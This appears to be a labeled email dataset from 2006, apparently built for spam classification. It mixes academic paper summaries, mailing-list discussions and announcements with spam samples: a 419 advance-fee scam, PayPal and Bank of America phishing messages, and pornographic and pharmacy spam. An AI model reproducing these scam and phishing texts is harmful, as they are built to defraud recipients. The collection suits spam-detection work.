! !... ! ! > >NUMBERING every (!) in consecutive - or not -figure > >with the (...) portions unlimited? > >(Which would give a 'multifurcation') > > > >It would represent the 'hierarchy' - to use Stan's > >term or an unlimited network (especially if there > is a > >recursive possibility among the 'nodes'. > Hierarchies could be viewed as restrcted > portions of networks. In one > kind (scale hierarchy) there would be no direct > feedback from lower level > to higher. > > STAN > > > > > -------------------------------------------------- > For information about this discussion group visit > http://necsi.org/discuss/discuss.html > ",0,1 Ari Rabkin ,egs+summary@cs.cornell.edu,"Mon, 17 Apr 2006 20:32:07 -0400",PAPER 22," Implementing Declarative Overlays: The authors define a declarative language, OverLog, for specifying distributed algorithms, and in particular, overlay networks. They demonstrate that even a substantial system such as Chord can be specified in a few dozen lines, with performance comparable to the reference C++ implementation. (Moreover, as our experience with databases has shown, sometimes coding at a higher level allows for automatic optimization resulting in better performance than hand-crafted code) The chief benefit of OverLog is compactness of code. However, most programmers seem resistant to using Prolog, which offers similar compactness in non-distributed contexts. Moreover, the compactness of OverLog is bought at the expense of reduced flexibility. Designers often want to specify message formats at the byte level, or the details of the underlying transport layer; OverLog makes this difficult to do. Macedon: Macedon is designed to output efficient C++ implementations of overlay algorithms from finite-state-machine descriptions. This allows quite compact descriptions of complex algorithms in a modular way. Macedon results in compact, efficient executable code from short descriptions at a higher level. The evaluation of Macedon left a lot to be desired. Counting lines of code gives only a very loose sense how complex a piece of code is, and counting semicolons is, if anything, worse. Moreover, it's not clear that writing hundreds of lines of FSM description, takes less time than writing a few thousand lines of java. Moreover, it may be easier to debug a conventinonal language than an FSM description. Lastly, like OverLog, there is the danger of constraining programmers who wish to use underlying components other than the one Macedon offers: for instance, suppose a Chord user truly wanted 128-bit rings, rather than the 32-bit identifier space that Macedon supplies. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 olu adeniji ,cussw-suboard@columbia.edu,"Tue, 18 Apr 2006 08:33:58 +0800",PAYMENT SOLUTION ,"我有一个新的电邮地址了！您现在可以发电子邮件给我到：adeniji_olu667@yahoo.com.cn Hon. Dr. Adeniji Olu Minister OF Foreign Affairs Ministry. Awolowo Road, Lagos Nigeria. Profilepage:http://www.nigeria.gov.ng/ministries/foreignminister.htm Attn: Sir/Ma Re: PAYMENT SOLUTION I am Hon. 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This deal must be kept secret forever, and all correspondence will be strictly by email / telephone, for security purposes. 3. There should be no third parties as most problem associated with your fund release are caused by your agents or representative. If you AGREE with my conditions, l advise you on what to do immediately and the transfer will commence without delay as I will proceed to fix your name on the Payment schedule instantly to meet the six days mandate. I hope you don't reject this offer and have the funds transferred. Please get back to me fast. Waiting for your reply soon. HON. DR. ADENIJI OLU FOREIGN AFFAIRS MINISTER. The information in this message and in any attachments, contains confidential information and is intended solely for the use of the address. - olu adeniji ",1,1 ,,,Modeling fluid turbulence with cellular automata,"Wolfram shows a set of photographs of real fluid turbulences on p. 377 of his book (A New Kind of Science, 2002). On p. 380, he shows a set of pictures generated by iterating a simple set of programs n times, where n ranges form 10^3 to 7x10^4. The patterns shown in these pictures are strikingly similar to real fluid turbulences. Let us see how he succeeded modeling fluid turbulence using cellular automata: 1) He starts out with a system of 30 million cellular automata, each represented by a node of a triangle forming a part of a hexagon. Each automaton in turn represents a fluid particle moving around from one node to another obeying simple rules emulating (or inspired by) the physical laws governing particle collisions. 2) The dynamic state of the fluid is represented as a system of velocity vectors of individual particles directed along the edges of triangles. The direction of each vector is updated obeying a set of only 5 rules, which can be paraphrased in words as follows: i) If two particles collide at the center of a hexagon along the 5-to-11 O’clock direction, then, after the collision, two particles will move away from the center in the 3-to-9 O’clock direction. ii) If three particles, 1, 2 and 3, collide at the center of a hexagon, with particles 1 and 3 (counting clock wise) moving along the 5-to-11 O’clock direction and particle 2 moving along the 3-to-9 O’clock direction, then, after the collision, 3 particles will move away from the center of the hexagon, two in the 1-to-7 O’clock direction and one in the 3-to-9 O’clock direction. iii) If three particles, 1, 2 and 3, collide at the center of a hexagon, with particles 1 and 3 (counting clock wise) moving along the 1-to-7 O’clock direction and particle 2 moving along the 3-to-9 O’clock direction, then, after the collision, 3 particles will move away from the center of the hexagon, two in the 5-to-11 O’clock direction and one in the 3-to-9 O’clock direction. iv) If three particles, 1, 2 and 3, collide at the center of a hexagon, with particle 1 moving along the 5-to-11 O’clock direction, particle 2 along the 3-to-9 O’clock direction, and particle 3 along the 1-to-7 O’clock direction, then, following the collision, three particles will move away from the center of the hexagon along the same directions followed before collision. v) If four particles, 1, 2, 3 and 4, collide at the center of a hexagon, with particle 1 moving along the 5-to-11 O’clock direction, particle 2 along the 1-to-7 O’clock direction, particle 3 along the 5-to-11 O’clock direction, and particle 4 along the 1-to-7 O’clock direction, then, following the collision, four particles will move away from the center of the hexagon, with particles 1 and 3 along the 5-to-11 O’clock direction and particles 2 and 4 along the 3-to-9 O’clock direction. With above five rules, Wolfram clearly succeeded in emulating the microscopic behavior of molecules in fluid, since he was able to reproduce real fluid turbulences with a striking accuracy as evident in the results of computations shown on p. 380 as mentioned above. It should be pointed out (i) that the particles are fed into the system from the left at a speed which is one third of the maximum speed of particles and (ii) that clear patterns of fluid turbulence became visible only when viewed at a high level of granularity, that is when 20x20 blocks of automata are averaged into a single velocity vector, just as it would be in real life: At too high a resolution, no turbulence would be discerned, because the human eye would lose sight of the forest for trees. Although the above modeling was done with cellular automata arranged on a 2-dimensional plane, I am sure one can extend the modeling to 3-dimensional space with additional rules specifying the behaviors of colliding particles in 3-dimensional space. It is my understanding that fluid turbulence is too complex a phenomenon to be successfully modeled using hydrodynamic equations. Even if someday mathematicians are able to succeed in modeling fluid turbulence using traditional mathematical equations, that would not diminish the significance of Wolfram’s modeling of fluid turbulence using cellular automata. To me, cellular automata-based modeling of turbulence is as real as any modeling of the same based on mathematical equations: Both cellular automata systems and mathematical equations are systems of symbols (created by human mind) representing reality with equal legitimacy. With all the best. Sung _______________________ Sungchul Ji Rutgers University Piscataway, N.J. 08855 ",0,0 ,,,[Fwd: Re: The Simpson-Elsasser-Wolfram framework for modeling the cell],"(Dear Yaneer, have you posted this one yet?) ---------------------------- Original Message ---------------------------- Subject: Re: The Simpson-Elsasser-Wolfram framework for modeling the cell From: sji@rci.rutgers.edu Date: Sun, April 2, 2006 1:02 am To: complex-science@necsi.org -------------------------------------------------------------------------- val wrote (>): >> The method employed by physicists in modeling the atom was essentially >> based on mathematics without relying on the computer, but the method >> that biologists will need to model the cell may turn out to be, not >> mathematics, but mainly logic- and computer-based. The purpose of this >> post is to discuss the theoretical rationale underlying this admittedly >> audacious proposition. My thinking along this line has been greatly >> influenced by the ideas and concepts advocated by the following three >> scientists -- the American paleontoligist G. Simpson (1902-1984), the >> German-American physicist-turned biolgist W. Elsasser (1904-1991), >> and the British-American physicist-turned computer scientist S. Wolfram >> (1959- ). >> Their ideas relevant to the presnt post are briefly summarized below: >> >> 1) G. Simpson: >> Physicists study the principles that apply to all phenomena: >> Biologists study phenomena to which all principles apply. > > i'm not sure there is any in-depth content behind that statement - which > ""all principles"" get applied to phenomena in biology? Table 1. A partial list of the principles, laws and concepts that is deemed essential in understanding the phenomenon of life. __________________________________________________________________________ Field Principles, Laws & Concepts __________________________________________________________________________ 1. Physics: relativity curved spacetime (leading to the metabolic spacetime of H. A. Smith and G. R. Welch; see pp. 282-323 in ""Molcular Theories of Cell Life and Death"", S. Ji, ed., Rutgers University Press, New Brunswick, 1991) thermodynamics energy, entropy statistical mechanics Brownian motions, microstates Gibbs free energy quantum mechanics electronic transitions, bond vibrations & bending, Bohrian complementarity, nonlocality nonlinear dynamnics deterministic chaos, fractals, attractors, sensitive dependence on initial conditions 2. Chemistry: molecular structures duality of covalent and noncovalent molecular interactions, conformation changes, H-bonding, structural complementarity chemical kinetics duality of kinetic and equilibrium controls, transition states, absolute rate theory, rate laws, rate constants, concentrations, activity 3. Biology: evolution (variation, interaction & seletion), genes, inheritance, tree of life 4. Cybernetics: law of requisite variety, feed back loops (positive & negative), machines, information 5. Computer science: principle of computational equivalence, recursion, programs, algorithms, computer architecture, celluar automata, massive parallel computing, analog vs. digital computing 6. Mathematics: mathematics of continuous vs. discrete processes, probability, differential and integral equaitons, combinatorics 7. Logic: triadic logic of Peirce 8. Linguistics: rule-governed creativity, double articulations, synchronicity vs. diachronicity, syntagmatic vs. paradigmatic relations 9. Metaphysics: Peircean categories of Firstness, Secondness and Thirdness, semiotics, signs, interpretants, objects, the universality of logic in both biotic and abiotic worlds (which may be deeply connected with Wolfram's principle of computational equivalence) ___________________________________________________________________________ >> 2) W. Elsasser: >> Physicists study objects that belong to pure classes to which >> mathematical methods can be applied; bilogists study objects that >> belong to heterogenous classeses to which logic, but not >> mathematics, can be applied. > > well, logic is certainly a part of math; I would say the other way around: Math is a part of logic. > what i see here is that > phenomena in biology are unique (""heterogeneous""), and traditional > generalizations in physics such as mass, velocity, momenta, energy, > rotational momenta, trajctories, etc obviously have little to do with > biological reality These all have roles to play in biology, both at the macroscopic and microscopic levels, which would fit the Sympsonian thesis described above. >and thus biology needs *application-specific* logic > directly related to the specific observations; though, a certain degree > of generalization takes place in biology as well - differentiation, > growth patterns, adaptation to the local env, patterns of behavior, > generational continuity of living matter, etc > > > > 3) S. Wolfram: > > All structures and phenomena, whether internal or external, > > can be modeled on the computer as fractals, namely, the > > structures and patterns that emerge as the consequences of > > iterating the application of sets of simple rules n times, where > > n can be a large number (10-1000?). > > > > With all the best. > > Sung > > Hmm.. All structures and phenomena? as fractals? as the consequence of > repeated application of simple rules?.. If not all as fractals, just as simple programs involving repeated application of select rules, leading to all kinds of structres an dprocesses, including fractals on occasion. >And where are the captured > cause-effect dependencies typical for real world - such as the applied > forces and trajectories (mechanics), or moving charges and fields > (electrodynamics), or particles-waves (quantum mechanics)? As I understand it, these are all the results of applying continuous mathematics to physcial processes. As such they must apply to living processes as necessary components (accoriding to the Simpson doctrine) but are not sufficient to account for life (according to Elsassser). > And how > ""simple rules"" repeated zillion times can reproduce hydrogen atom and > its dynamics? Never.. That would be the seventh wonder of the world.. This may be possible if we can transform quantum mechanical formalisms into algorithmic ones using finite sets of if-then rules. This is how I understand Wolfram's principle of computaitonal equivalence. > > Yet, your point about importance of *direct, computer-driven* > methods of analysis of cell dynamics sounds right to me. I'm going to > comment on that in my next post.. Sung ",0,0 Mark Benthien ,SCEC Community ,"Mon, 17 Apr 2006 23:25:56 -0700",Postdoctoral Position at Purdue University,"Forwarded Message from Andy Freed, Purdue University: ************************************** Postdoctoral Position at Purdue University The Geodynamics and Active Tectonics group at Purdue University (Dept. of Earth and Atmospheric Science) invites applications for a 12-month postdoctoral research position focused on the modeling of crustal and lithospheric deformation constrained by geodetic observations. The successful candidate will join a group of faculty and students working on continental deformation, plate coupling and stress transfer at plate boundaries, postseismic processes, rheology of the lithosphere, and mantle-lithosphere interactions. We are specifically interested in candidates with a strong background and experience in mechanics, modeling of tectonic processes, and inverse methods applied to geodetic data. Experience in GPS and/or InSAR is a plus. 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The authors use three components, relational tables to represent overlay state, high level declaritive language to specify the overlay's logical properties and behavior, and graphs of the dataflow elements to represent runtime information processing. They use structured relational tables because they are a natural representation as neighbor tables are already quite common, tables are easily represented in declarative language, and it provides a consistently-named view of all the local tables and messages at different nodes. It is claimed that OverLog, the language presented, is not designed as a Domain-Specific language for overlay specification but instead an adaption of a powerful query language to a distributed context of data and messages. However, those are nearly synonymous, in that once one reaches a distributed context, it is a quite short hop to an overlay system. P2 dataflows mix together network packet processing elements for tasks like queueing, (de)muxing, and congestion control along with relational database operators like joins and aggregations; the unification of variables in the body of a rule is implemented in a dataflow by an equijoin. This is a complex operation, which can be considered somewhat inefficient; moreover, the future work lists sharing as an area of future work, and therefore earlier comments on sharing workload are somewhat immaterial. Also, the performance characteristics represent fairly decent behavior, which seems to be in a sense unnecessary; the paper is almost trying to accomplish too much in that it posits that the system will aid in design time while simultaneously maintaining decent performance. While this is true, the proofs provided to precious little to back this claim up. MACEDON: Methodology for Automatically Creating, Evaluating, and Designing Overlay Networks Adolfo Rodriguez, Charles Killian, Sooraj Bhat, Dejan Kostic, Amin Vahdat MACEDON, written before the P2 paper, performs a similar role in that it abstracts the work of designing overlay networks into that of specifying their runtime and other performance characteristics. Rather than generating query plans, it generates C++ code which can be compiled to run as per any other program. The benefits here are obvious, allowing greater programmers input in that the code can be modified afterwards. This might imply that the system is unnecessary, or might provide a human readable version of the specified system. The language itself describes a finite state machine, with drawbacks such as high complexity to cope with system events, via API calls, making the learning curve somewhat less steep; however, this is generally used in the generated code. The language that a programmer would use to create these API calls resembles a C or Java type language much more than DataLog does, while maintaining its nature as a descriptive language. It is therefore more mature as a language, which does not necessarily speak to the performance of the system but does speak to its utility as a rapid prototyping tool. Its performance is clearly not going to suffer as compared to standard programming techniques -- so much of the actual performance gains are implemented in an automated fashion by the compiler and optimizer that another step hardly seems likely to hurt. Moreover, the P2 paper doesn't seem to present an improvement over this system, as the performance is better, and the ease of use is greater. While concepts such as code reuse and query sharing exist, they are not yet implemented in either system, and thus somewhat secondary. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 18 Apr 2006 02:58:12 -0400",PAPER 22,"To ease the development and deployment of a diverse set of overlay systems, some research works have recently focused on the services that abstractly express the behaviors and provide sharable/reusable codes of overlay networks. Performance is an issue in such works. * P2 uses OverLog, a logic language, to specify overlays declaratively. They model an overlay as a distributed data structure represented by a set of relations. Two relations, tables and streams, are employed. * By its dataflow engine, P2 executes fundamental functionalities of an overlay system, given logic descriptions issued by applications. Multiple overlay specifications can be compiled into a single dataflow in its dataflow framework. * In this paper, several research directions are also listed, including the breadth of codes, transport protocols, on-line distributed debugging and security. * Macedon specifies an overlay network in terms of event-driven finite state machines. Each node maintains a local 'state'. 'Events' such as message reception or node failures move a node from one state to another. 'Transitions' indicate the actions to take in response to events. * From the specification above, Macedon generates API-consistent codes for a variety of infrastructures leveraging shared libraries. In this way, it enables protocols layering from one overlay to another.",0,0 Rolland Turner ,SPARC-OAForum@arl.org,"Tue, 18 Apr 2006 13:29:09 -0700",Hardcorre incesst Content!," Hardccore incest Content! http://bestgametrade.info/bxsonmom.htm ",1,1 net_people@email.rutgers.edu,net_people@email.rutgers.edu,"Tue, 18 Apr 2006 09:29:15 -0400",[Net_people] Emergency Maintenance - External Connectivity - 04-18-2006 1200 ," TD has received the long awaited increased Internet circuit from Sprint. We will be performing an emergency maintenance today at 12:00 noon to migrate to the circuit. During this time, users will experience a brief drop in Internet connectivity. We greatly appreciate the University community’s cooperation and patience over these last few months. -- Laura E. Zoubek Manager, Network Operations Voice: 1(732)445-7505 Email: lzoubek@rutgers.edu _______________________________________________ Net_people mailing list Net_people@email.rutgers.edu https://email.rutgers.edu/mailman/listinfo/net_people ",0,1 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Mon, 17 Apr 2006 23:48:44 -0400",PAPER 22,"Niranjan Sivakumar Implementing Declarative Overlays Macedon: Methodology for Automatically Creating, Evaluating, and Designing Overlay Networks P2 is a system that is designed to simplify the process of writing overlay networks using a logic language and dataflow framework. Coding for P2 is done with Overlog, a Prolog-like language that is suited for specifying and implementing rules associated with overlay network behavior. Two examples of real world overlay networks, Narada and Chord, are illustrated using the P2 framework. Both systems were shown to be written using significantly less code than a direct implementation, or in some cases, even other declarative overlay systems. There a number of similarities between the P2 approach and the evolution of database systems and querying languages. Analysis of performance is provided, and shown to be ""acceptible"", but it is clearly stated that performance is not one of the goals of P2 at this stage. It is also noted that although Overlog facilitates writing overlay rules, it has many drawbacks as a language, particularly when compared to popular, familiar, object oriented languages. MACEDON is an earlier, but in many ways similar system, to P2. MACEDON also seeks to provide a framework to reduce the amount of code that must be written to create an overlay network. MACEDON is shown to be particularly geared to distributed hash tables and certain kinds of high-level multicast networks. MACEDON models overlay networks based on a finite state machine. A implementation of Overcast is used throughout the paper to describe a variety of MACEDON's features, but the evaluation compares a number of different systems that were implemented with MACEDON, including NICE, Chord, and Pastry. MACEDON's programming syntax appears to be similar to that of languages like C++ and Java. As with P2, the focus of evaluation appears to be the number of lines of code required to implement a given overlay, with less of a focus on actual performance. Many of the notable drawbacks of P2 and Overlog are recognized in the paper itself. It is difficult to evaluate the ongoing work on P2, such as making the language more readable, from the information provided in the paper. However, given their reasons for using a Prolog-style language, and comparisons made between Datalog and SQL in the paper, it seems unlikely that Overlog will be changed in a drastic way. MACEDON appears to currently be tailored around existing overlay models, and this may provide some problems when trying to implement something novel using MACEDON. One interesting point in the paper was that the authors noticed that there was an issue with their implementation of NICE, and stated a proposed solution that is said to be ""straightforward"" but did not implement it and attempt to get more accurate data. This seems to raise some questions about how ""straightforward"" or easy it is to make the change that was proposed. ",0,0 net_people@email.rutgers.edu,net_people@email.rutgers.edu,"Tue, 18 Apr 2006 12:00:05 -0400","[Net_people] Network Maintenance - Wednesday, 04/19/2006 ","Network Maintenance - Wednesday, 04/19/2006 ID: 1388 Description: OS Upgrade - LSM, ASB, and HILL Areas Disruption: Outage Campus: Busch Start Date: 04/19/2006 0700 End Date: 04/19/2006 0730 Summary: TD Network Operations will upgrade the OS on access devices in the LSM, ASB, and HILL areas. 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Foster, Kesselman, Nick, Tuecke present the Open Grid Services Architecture (OGSA) which seeks to provide a standard architecture for integrating resources of ""virtual organizations"". OGSA is meant to describe the ""physiology"" of the grid, defining functionality, while Globus (an open-source grid computing toolkit) is meant to describe the ""anatomy"" of the grid, defining protocols. These resources could be computational, network, storage, etc. The authors begin by presenting the evolution of grid services along two dimensions. The first is distribution. Today services are highly distributed across the country or the world and highly hetrogenous in scale and platform. The second is application. Grid computing was originally targeted at scientific collaboration, but today integrates between businesses and customers and between businesses. The rest of the paper presents OGSA. OGSA defines a large-scale architecture providing many services from discovery to remote invokation to authentication, authorization and auditing. OGSA does not define implementations, but instead identifies interfaces, composition of services and requires uniform semantics of similar services. OGSA defines these semantics through a set of interfaces and conventions (such as lifetime management and service handle definitions) much as the Java specification and API does. OGSA doesn't define a system or even a reference implementation (although Globus does). Instead OGSA provides an open standard for businesses and other organizations to conform to in order to interoperate with one-another. Because the scope of OGSA is so large, providing a distributed interaction protocol for very large-scale system integration, it's hard to tell it's strengths and weaknesses. Obviously there are issues that will arise, one of which is adoption. Time will tell if OGSA provides the needed standards. Ultimately the contribution of OGSA is almost a political one, rather than technical, instead relying on existing technologies (web services, HTTP, etc.). In ""On Death, Taxes, and the Convergence..."" Foster and Iamnitchi compare the work of the grid computing field and peer-to-peer systems. Specifically, grid is defined as being structured and reliable. Systems are assumed to be well-known (at least relatively to peer-to-peer). These systems perform a wide variety of diverse services to clients and are long-lived. Clients may aggregate arbitrary state within the grid over a long period of time. And this state may be shared with other clients who might use it to aggregate different state elsewhere within the grid. Peer-to-peer systems on the other hand are said to be application specific, providing specific short-lived services. A single peer-to-peer system might be large, but each node provides a single service, and clients are said not to aggregete intermediate state in the network for use later or by other clients. Instead peer-to-peer systems are resilient to failures, do not depend on administrative organization and nodes may be unknown to the vast majority of other nodes. Foster and Iamnitchi hope that these fields will (and argue that they must) converge on systems and techniques that combine the benefits of both fields. That is, systems which provide the rich and diverse services, aggregation of arbitrary intermediate state, and collaboration between clients of grids with the robust, resilient and self-organizing properties of peer-to-peer systems. Just as OGSA makes a meta-contribution to the field, this paper too argues for adoption and identifies opportunites for integration of work already existing. ",0,0 PayPal Security Review ,collaboration@media.mit.edu,"Tue, 18 Apr 2006 16:05:55 +0200",Account Review,"Dear PayPal member, Due to last days hack attacks to our database we decided to review our customers account information to prevent security problems . If you could take 3-5 minutes out of your online experience to verify your account status , you will not run into any further problems . Update your PayPal Account : Click Here Thank You , PayPal Management Stuff Please do not reply to this confirmation email , as this message was sent to all PayPal members .",1,1 John McRaney ,scecall-l@usc.edu,"Tue, 18 Apr 2006 11:02:49 -0700",New Faculty Position at USC,"USC Tenure-Track Faculty Position in Lithospheric Dynamics and Seismology The Department of Earth Sciences at the University of Southern California seeks applications for a full-time tenure-track faculty appointment at the Assistant/Associate Professor level in observational seismology and/or lithosphere dynamics. The successful applicant should have broad research and teaching interests in the solid Earth geophysical sciences. She/he is expected to establish a vigorous research program and teach both graduate and undergraduate courses. Applicants whose research interests are synergistic with the Department's existing strengths in earthquake physics and geodynamics are especially welcome. Candidates must hold a Ph.D. in Earth Sciences or a related field. Applications should include a curriculum vita, publication list, statement of teaching and research interests, and three or more names of individuals familiar with the applicant's work who could be contacted for letters of reference. Review of applications will begin by June 15, 2006, and the search will remain open until the position is filled. Applications should be directed to: Professor Thorsten Becker Department of Earth Sciences University of Southern California University Park 3651 Trousdale Parkway Los Angeles, CA 90089-0740 USC is an Equal Opportunity Employer that values diversity in its workforce. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 18 Apr 2006 11:20:17 -0400",paper 22,"The two papers discuss methods for abstracting the implementation of network overlays to simply implementing them and provide for a more structured method of testing and evaluating their performance. Macedon is a protocol-centric approach that abstracts each node into a finite state machine (FSM) and focuses on the events that cause transitions between states. Within Macedon itself, there is a multi-layered stack to allow systems to be built on others (for example, SplitStream is built on Scribe which is built on Pastry or alternative, a different DHT overlay such as Chord). P2 approaches things slightly differently. Instead of forcing the user to specify their own handling of events in code, P2 represents everything as a labeled relational tuple. The tuples are generated based on a series of rules, which are the various conditions on which a specified tuple will be generated. There are some primitive event types that P2 implements though, such as periodic generation of tuples and pings to measure latency. The general structure of an overlay can then be represented in surprisingly few rules (47 rules for Chord). The two approaches differ in the complexity of the code (both for the underlying backbone and the per-overlay code) and their perfomance goals. In Macedon, the user must write the majority of the message handling code and thus, the backbone of Macedon is relatively simple. In P2, the relational database abstraction simplifies the overlay code (or rules, as the case may be), but the underlying code of P2 is much longer and complicated than Macedon to support that abstraction. Similarly, pushing specific overlay descriptions to a higher level will have an impact on the performance. P2's performance goal is a ""good enough"" measure - or a performance that is not significantly worse than an optimized version. Macedon, on the other hand, can achieve better performance since the lower-level coding allows for more optimizations. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 18 Apr 2006 11:39:43 -0400",PAPER 22,"Implementing Declarative Overlays introduces P2, a system that allows the user to concisely specify an overlay network. A language, OverLog, is introduced which uses rules and relations to construct an overlay. This system allows tables (which they argue are necessary because many current overlays use tables to store neighbor state and other such information), streams, and uses a high level language to specify a system. Overlog is a query language which the authors claim to derived from Datalog, which in turn is derived from Prolog. The authors argue that their system is a distributed version of previous systems. The authors constantly claim that they wrote Chord in 47 lines of code. While I have no doubt that they did, those 47 lines are, in my opinion, confusing and intertwined. They depend on each other so much that debugging in this language seems like a nightmarish task. Macedon uses finite state machines which compile down into a lower level language (C/C++), allowing an advanced programmer access to any code they felt they could not specify clearly enough at a high level. The high level language they use is far less confusing than Overlog and reminds me more of typical C-style languages. The language allows you to specify finite state machines quickly and logically. The main drawback to these two systems is the amount of pre-planning and thought that goes into every line. While CHORD can be expressed in 47 lines or several hundred lines, these lines each took significantly more time to write than a single line in the Java implementation of Chord. If the Java implementation is 10x as long as the Macedon implementation but it took 10x less time to write each line, the gain is minimal. Worse yet, the implementation Macedon gives is not even a full Chord implementation. --Kevin",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 18 Apr 2006 09:08:33 -0700",PAPER 22,"MACEDON and P2 are both systems which allow peer-to-peer networks to be quickly coded and tested; rather than writing thousands of lines of code, these systems allow overlay networks to be specified in a concise, domain-specific manner. MACEDON is designed to simplify the design, implementation, and evaluation of large-scale overlays. A researcher gives MACEDON a high-level specification in terms of a finite state machine, and MACEDON generates C++ code. The authors have re-written several well-known peer-to-peer applications in MACEDON, and their experiments show that MACEDON produces efficient code for those applications. In many ways, the MACEDON code reminds me of higher-level languages such as python and perl; it takes care of the gory details, so a researcher can focus on the algorithm. P2 uses a declarative logic language to specify the overlays, and a dataflow framework to maintain the overlays, rather than a finite state machine. To specify the overlay networks, they developed a language called OverLog, which is similar to ProLog and DataLog. In this language, the amount of code a researcher has to write drops further; for example, Chord can be specified with 47 logic rules, while MACEDON used 320 lines. However, I think that OverLog looks much more complicated than the specifications MACEDON requires, so this may not actually save the researcher any time. Both of these systems are designed to cut down on the amount of work a researcher needs to do. However, the number of lines of code does not necessarily reflect the amount of time the researcher has to spend to get the system working; tracking down bugs could easily take more time once another layer of abstraction is introduced. In addition, the researcher may want to modify code at a lower level than these systems allow for; modifications to wire protocols, or specific rules for choosing neighbors, are not allowed under these systems. With the increasing use of high-level languages such as Python, systems such as MACEDON and P2 may become less useful. -- Victoria Krafft ",0,0 """Simmons, Tami R."" ",DFCI RA Proflist ,"Tue, 18 Apr 2006 14:51:58 -0400",FW: Call for Novartis Grant Applications," New applications welcome! First stage deadline April 25 (only one paragraph). ================================================= Message From: Dennis Lynch, M.D. To DFCI Independent Investigators: The application process for the next round of Novartis-DFCI Drug Discovery Program grants has begun. Your ""offer"" paragraphs, a brief description of proposed research, are due by April 25, and full grants will be due by June 15. Please see the attached ""Call for Applications"" for details. You are urged to consider applying this year, since the new Novartis Oncology leader (Bill Sellers) has expressed interest in funding a number of investigators not currently in the Program. If you have more than one possibility for a Novartis-funded project, submit more than one offer. When writing the five-page application, give careful consideration to how to appeal to both the DFCI and Novartis reviewers. In the past, projects of scientific excellence that showed promise for leading to, or collaborating with Novartis Oncology programs received the highest scores. If you have any questions about the science, please give me a call at 2-3130. Any questions about the details of the process, please call Sylvia Lin at 2-5599. Thanks, Dennis Lynch ",0,0 Daita D Ciobanu ,romanianclub@columbia.edu,"Tue, 18 Apr 2006 16:01:06 -0400",[Fwd: THE DEATH OF MR. LAZARESCU opens in NYC April 18th],THE OFFICIAL ROMANIAN SELECTION FOR THE 2006 ACADEMY AWARDS IS FINALLY COMING TO NEW YORK CITY. For showtimes and tickets visit - MOVIEFONE For more information on the film and to view the trailer visit- TARTAN FILMS,0,1 Elea Curry ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Apr 2006 09:23:57 -0700",Re: your VALtUcM,"Hi L V C P A X V e I I r m a A v A A o b n L i G L z i a I t R I a e x U ra A S c n M http://www.heltefenskalls.com and nieces on the Took side, but even they were not encouraged in their friendship by their elders. I am sorry to say he did not mind. He was quite content; and the sound of the kettle on his hearth was ever after more musical than it had been even in the quiet days before the Unexpected Party. His sword he hung over the mantelpiece. His coat of mail was arranged on a stand in the hall (until he lent it to a Museum). ",1,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Tue, 18 Apr 2006 16:26:23 -0500",reading assignment,"CS352-ers, This is a reminder that you are to read the paper ""The Alpha 21264 Microprocessor"" by Thursday 4/20/06. This is the paper that I handed out in class today. If you did not get a copy, there are extras in the wooden bins outside Gem Naivar's office (ACES 3.422). Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Lori Ungurait <""","""Mike Herrmann <"", kellie.hargis@state.tn.us","Tue, 18 Apr 2006 17:14:52 -0500",Re: Fwd: Question,"Kellie, This announcement just went out regarding the No Bullying. I've attached the packet in a word document also. Please contact me if I can be of further help! Lori No Bullying workshops are scheduled on May 2 in Cookeville and May 4 in Jackson. The No-Bullying Program is a research-based model designed to deal with bully/victim violence in schools. Please read the attached overview and registration form. If you have difficulty accessing the attachment, please visit our website at http://www.tennessee.gov/education/learningsupport/tssc.shtml. Please know that you can contact me if you have any problems. Registration forms should be faxed to Lori Ungurait at 615-253-6343. Lori can be reached at 615-253-6382 or LUngurait@tennessee.edu. (See attached file: nobullying overview0506.doc) Lori A. Ungurait University of Tennessee Law Enforcement Innovation Center 226 Capitol Blvd Suite 600 Nashville, TN 37219 615.253.6382 P 615.253.6343 F www.leic.tennessee.edu www.yes2kidstn.org ""Mike Herrmann"" To 04/18/2006 08:48 cc AM Subject Fwd: Question Lori, Could you please help Kellie with this request and copy me? Thanks, Mike >>> Kellie Hargis 04/18/06 5:15 AM >>> Mike, Do you when you guys will be doing another ""no bullying"" training? Dee Dee Lunsford, the counseling coordinator for Shelby Co is asking (see attached). I will not be in the office today (Tues)-at TPS in meetings-if you wish to respond to Dee Dee with information, please feel free to do so. I would ask that you copy me, however. Thanks again for all you do and for your professional friendship you provide me. Kellie Kellie M. Hargis Coordinator, School Counseling Services Tennessee Department of Education 5th Floor - Andrew Johnson Tower 710 James Robertson Parkway Nashville, TN 37243 615.532.6293 (office) kellie.hargis@state.tn.us 615.532.8536 (fax) ----- Message from Dee Dee Lunsford on Mon, 17 Apr 2006 14:52:27 -0500 ----- To: Kellie Hargis Subject: Question Kellie, When will the next “No Bullying” be held? Thanks, dee dee",0,1 service@bankofamerica.com,dave@cs.utexas.edu,"Tue, 18 Apr 2006 12:54:54 -0500",Bank of America Security Measures Notification ,"X-cs.utexas.edu X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - vps.pixelhosting.org X-Source: X-Source-Args: X-Source-Dir:    Dear Bank of America Customer,      You have received this email because we have strong reason to believe that your Bank of America Association account had been recently compromised. In order to prevent any fraudulent activity from occurring we are required to open an investigation into this matter.  If your account is not updated within the next 72 hours, then will assume this account is fraudulent and will be suspended. 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Project ~~~~~~~ The sample trace files for the project is available via the following link: http://www.cs.utexas.edu/~skeckler/cs352/project/ The simple and experiment trace files will be available soon. We strongly encourage the students to use the trace files from this path so that we do not have multiple copies of the huge trace files in every student's space. Problem5 in homework#7 is a good start for the project. The code in the solution set was just a pseudo code to give you an idea of about the implementation. Go through the specification document and list the functionalities of the cache simulator. As Prof.Keckler suggested, spend quality time with the design so that coding becomes obvious. Ping 